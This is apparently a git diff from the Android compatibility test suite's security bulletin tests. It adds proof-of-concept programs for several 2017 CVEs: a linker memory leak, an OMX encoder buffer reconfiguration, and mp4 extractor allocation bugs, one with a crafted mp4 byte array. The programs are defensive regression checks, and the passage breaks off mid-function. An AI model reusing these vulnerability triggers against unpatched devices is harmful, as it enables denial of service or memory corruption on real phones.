defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
index 326391e..eecb3dc 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-8479",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.bp
index b11576a..81bae14 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-8482",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.bp
index f247aeb..27e8580 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-0333",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.bp
index 32bb9a7..ffd3169 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-0334",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.bp
index 95faa49..edbff59 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-0386",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.bp
index db9c363..f7ab241 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-0415",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.bp
index 73ced42..339cd59 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-0426",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.bp
index ee72655..1f4f071 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-0477",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
index 71e9361..2604551 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-0479",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.bp
index 17207a8..9354940 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-0508",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.bp
index 770adb9..1a032a7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-0553",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.bp
new file mode 100644
index 0000000..af8ba51
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.bp
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0670",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.c",
+ ],
+
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c
new file mode 100644
index 0000000..6380e92
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c
@@ -0,0 +1,103 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+ #include <stdlib.h>
+ #include "../includes/common.h"
+
+ //This PoC is only for 32-bit builds
+#if _32_BIT
+#include <unistd.h>
+#include <string.h>
+#include <dlfcn.h>
+
+#define MAX_STRLEN 256
+#define LOOP_COUNT 10
+#define LIB_NAME "/system/lib/libandroid.so"
+
+int runDlopenDlcloseLibraryLoop(char *libName, unsigned char count) {
+ while (count) {
+ void *lib_handle = dlopen(libName, RTLD_NOW);
+ if (!lib_handle) {
+ return EXIT_FAILURE;
+ }
+ if (dlclose(lib_handle)) {
+ return EXIT_FAILURE;
+ }
+ count--;
+ }
+ return EXIT_SUCCESS;
+}
+int getMemoryUsage(unsigned long *memUsage) {
+ char cmd[MAX_STRLEN];
+ char buf[MAX_STRLEN];
+ memset(cmd, 0, MAX_STRLEN);
+ memset(buf, 0, MAX_STRLEN);
+ sprintf(cmd, "cat /proc/%d/maps | grep anon:linker_alloc]", getpid());
+ FILE *fpMem = popen(cmd, "r");
+ if (!fpMem) {
+ return EXIT_FAILURE;
+ }
+ unsigned long totalMemUsage = 0;
+ while (fgets(buf, MAX_STRLEN, fpMem) != NULL) {
+ unsigned long mem1 = 0;
+ unsigned long mem2 = 0;
+ int numOfItemsRead = sscanf(buf, "%lx-%lx", &mem1, &mem2);
+ if (numOfItemsRead < 2) {
+ pclose(fpMem);
+ return EXIT_FAILURE;
+ }
+ totalMemUsage += mem2 - mem1;
+ }
+ pclose(fpMem);
+ *memUsage = totalMemUsage;
+ return EXIT_SUCCESS;
+}
+#endif /* _32_BIT */
+
+int main() {
+
+//This PoC is only for 32-bit builds
+#if _32_BIT
+ /* Memory usage is expected to rise during first few dlopen-dlcose pairs */
+ /* due to linker initializations. Hence memory is not tracked during */
+ /* first few dlopen-dlcose pairs. */
+ if (runDlopenDlcloseLibraryLoop(LIB_NAME, LOOP_COUNT)) {
+ return EXIT_FAILURE;
+ }
+
+ /* The linker specific initializations should be complete. Hence Memory */
+ /* usage is tracked from this point onwards. Further dlopen-dlcose pairs */
+ /* are not expected to increase memory usage */
+ unsigned long memUsageBefore = 0;
+ if (getMemoryUsage(&memUsageBefore)) {
+ return EXIT_FAILURE;
+ }
+
+ if (runDlopenDlcloseLibraryLoop(LIB_NAME, LOOP_COUNT)) {
+ return EXIT_FAILURE;
+ }
+
+ unsigned long memUsageAfter = 0;
+ if (getMemoryUsage(&memUsageAfter)) {
+ return EXIT_FAILURE;
+ }
+
+ if (memUsageBefore != memUsageAfter) {
+ return EXIT_VULNERABLE;
+ }
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp
new file mode 100644
index 0000000..ad70e63
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE-2017-0684",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libui",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "android.hidl.allocator@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ include_dirs: [
+ "frameworks/native/include/media/openmax",
+ "frameworks/av/media/libstagefright",
+ "frameworks/native/include/media/hardware",
+ ],
+ compile_multilib: "32",
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp
new file mode 100644
index 0000000..9b76c7b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp
@@ -0,0 +1,139 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/omxUtils.h"
+
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex,
+ Vector<Buffer> *buffers) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(def.nBufferSize,
+ [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+
+int main() {
+
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *) "OMX.google.h264.encoder");
+ omxExitOnError(ret);
+ /* Get OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ int ipBufferCount = params->nBufferCountActual;
+ /* Set port mode */
+ omxUtilsSetPortMode(OMX_UTILS_IP_PORT, IOMX::kPortModeDynamicANWBuffer);
+ /* Allocate input buffers and graphic buffer */
+ sp<GraphicBuffer> graphicbuffer = new GraphicBuffer(
+ params->format.video.nFrameWidth, params->format.video.nFrameHeight,
+ HAL_PIXEL_FORMAT_RGBX_8888,
+ android::GraphicBuffer::USAGE_HW_VIDEO_ENCODER, "me");
+ int i;
+ Vector<Buffer> inputBuffers;
+ Vector<Buffer> outputBuffers;
+ /* Register input buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+ /* Get OMX output port parameters */
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ int opBufferSize = params->nBufferSize;
+ int opBufferCount = params->nBufferCountActual;
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+ /* Do OMX State chage to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State chage to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ /* Empty input buffers and fill output buffers */
+ OMXBuffer omxIpBuf(graphicbuffer);
+ omxUtilsEmptyBuffer(inputBuffers[0].mID, omxIpBuf, 0, 0, -1);
+ OMXBuffer omxOpBuf(0, opBufferSize);
+ omxUtilsFillBuffer(outputBuffers[0].mID, omxOpBuf, -1);
+ /* Do OMX State chage to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State chage to Loaded */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+ /* Free input and output buffers */
+ for (i = 0; i < ipBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
+ }
+ for (i = 0; i < opBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
+ }
+ /*********************************************************************/
+ /* Following code exposes vulnerability */
+ /*********************************************************************/
+ Vector<Buffer> newInputBuffers;
+ Vector<Buffer> newOutputBuffers;
+ /* Get OMX input port parameters, change settings and set output port*/
+ /* port parameters */
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ params->nBufferSize = 38016;
+ params->format.video.nFrameWidth = 2000;
+ params->format.video.nFrameHeight = 2000;
+ omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+ /* Allocated input buffers and register with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &newInputBuffers);
+ /* Allocated output buffers and register with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &newOutputBuffers);
+ /* Do OMX State chage to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State chage to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ /* Empty input buffers and fill output buffers */
+ OMXBuffer newOmxIpBuf(graphicbuffer);
+ omxUtilsEmptyBuffer(newInputBuffers[0].mID, newOmxIpBuf, 0, 0, -1);
+ OMXBuffer newOmxOpBuf(0, opBufferSize);
+ omxUtilsFillBuffer(newOutputBuffers[0].mID, newOmxOpBuf, -1);
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Loaded */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+ /* Free input and output buffers */
+ for (i = 0; i < ipBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, newInputBuffers[i].mID);
+ }
+ for (i = 0; i < opBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, newOutputBuffers[i].mID);
+ }
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.bp
new file mode 100644
index 0000000..7aaa563
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.bp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0697",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libstagefright_foundation",
+ "libutils",
+ "liblog",
+ "libdatasource",
+ ],
+
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-DCHECK_MEMORY_LEAK",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp
new file mode 100644
index 0000000..684d410
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp
@@ -0,0 +1,105 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+#include <android/IMediaExtractor.h>
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+
+#define PSSH_BOX_SIZE 1048576
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+bool is_tracking_required(size_t size) { return (size == PSSH_BOX_SIZE); }
+
+int main(int argc, char *argv[]) {
+ (void)argc;
+ (void)argv;
+
+#if _64_BIT
+ GetExtractorDef getDef = nullptr;
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSourceFactory> dsf = DataSourceFactory::getInstance();
+ sp<DataSource> dataSource = dsf->CreateFromURI(NULL, argv[1]);
+ if (dataSource == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void *creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
+ if (ret == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ sp<MetaData> metaData = new MetaData();
+ MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+ new MediaExtractorCUnwrapper(ret);
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ mediaExtractorCUnwrapper->getTrackMetaData(*metaData.get(), 0, 1);
+ enable_selective_overload = ENABLE_NONE;
+
+ dlclose(libHandle);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp
new file mode 100644
index 0000000..32959f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0726",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include",
+ ],
+ shared_libs: [
+ "libdatasource",
+ "libstagefright",
+ "libstagefright_foundation",
+ "libutils",
+ "liblog",
+ ],
+ cflags: [
+ "-DCHECK_MEMORY_LEAK",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
new file mode 100644
index 0000000..ea6935f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
@@ -0,0 +1,143 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "stdlib.h"
+
+#include "../includes/memutils_track.h"
+#include <android/IMediaExtractor.h>
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+
+unsigned char mp4_data[] = {
+ 0x00, 0x00, 0x00, 0x1C, 0x66, 0x74, 0x79, 0x70, 0x6D, 0x70, 0x34, 0x32,
+ 0x00, 0x00, 0x00, 0x00, 0x6D, 0x70, 0x34, 0x32, 0x64, 0x62, 0x79, 0x31,
+ 0x69, 0x73, 0x6F, 0x6D, 0x00, 0x00, 0x00, 0x74, 0x6D, 0x6F, 0x6F, 0x76,
+ 0x00, 0x00, 0x00, 0x6C, 0x75, 0x64, 0x74, 0x61, 0x00, 0x00, 0x00, 0x64,
+ 0x6D, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58,
+ 0x69, 0x6C, 0x73, 0x74, 0x00, 0x00, 0x00, 0x50, 0x2D, 0x2D, 0x2D, 0x2D,
+ 0x00, 0x00, 0x00, 0x1C, 0x6D, 0x65, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00,
+ 0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x69, 0x54,
+ 0x75, 0x6E, 0x65, 0x73, 0x00, 0x00, 0x00, 0x14, 0x6E, 0x61, 0x6D, 0x65,
+ 0x00, 0x00, 0x00, 0x00, 0x69, 0x54, 0x75, 0x6E, 0x53, 0x4D, 0x50, 0x42,
+ 0x00, 0x08, 0x00, 0x18, 0x64, 0x61, 0x74, 0x61, 0x33, 0x32, 0x20, 0x34,
+ 0x20, 0x33, 0x20, 0x32, 0x33, 0x32, 0x20, 0x34, 0x20, 0x33, 0x20, 0x32};
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmp4extractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmp4extractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+#endif
+
+#define TOTAL_SIZE 524432
+#define DATA_SIZE 144
+#define TRACK_SIZE (TOTAL_SIZE - DATA_SIZE + 16 + 1)
+#define TMP_FILE "/data/local/tmp/temp_cve_2017_0726"
+
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+bool is_tracking_required(size_t size) { return (size == TRACK_SIZE); }
+
+int main() {
+ GetExtractorDef getDef = nullptr;
+ FILE *fp = fopen(TMP_FILE, "wb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ char zero_array[TOTAL_SIZE - DATA_SIZE];
+ memset(zero_array, 0, (TOTAL_SIZE - DATA_SIZE) * sizeof(char));
+
+ /* Write mp4 stream */
+ fwrite(mp4_data, 1, DATA_SIZE, fp);
+
+ /* Append 0's to create custom PoC */
+ fwrite(zero_array, 1, (TOTAL_SIZE - DATA_SIZE), fp);
+ fclose(fp);
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+ }
+
+ getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
